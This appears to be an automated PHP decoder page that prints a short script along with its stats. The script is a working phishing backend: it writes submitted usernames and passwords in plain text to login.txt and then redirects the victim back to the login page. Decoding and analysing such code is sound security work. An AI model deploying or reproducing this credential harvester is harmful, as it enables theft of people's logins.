Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if ($_SERVER["REQUEST_METHOD"] === "POST") { $username = $_POST['username']; ..
Decoded Output download
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$username = $_POST['username'];
$password = $_POST['password'];
// Save credentials to login.txt
$file = fopen("login.txt", "a");
fwrite($file, "Username: " . $username . "
");
fwrite($file, "Password: " . $password . "
");
fclose($file);
// Redirect back to the login page
header("Location: index.html");
exit;
}
?>
Did this file decode correctly?
Original Code
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$username = $_POST['username'];
$password = $_POST['password'];
// Save credentials to login.txt
$file = fopen("login.txt", "a");
fwrite($file, "Username: " . $username . "\n");
fwrite($file, "Password: " . $password . "\n\n");
fclose($file);
// Redirect back to the login page
header("Location: index.html");
exit;
}
?>
Function Calls
fopen | 1 |
fwrite | 1 |
Stats
MD5 | 5574a7fce32580900727d757b720141d |
Eval Count | 0 |
Decode Time | 402 ms |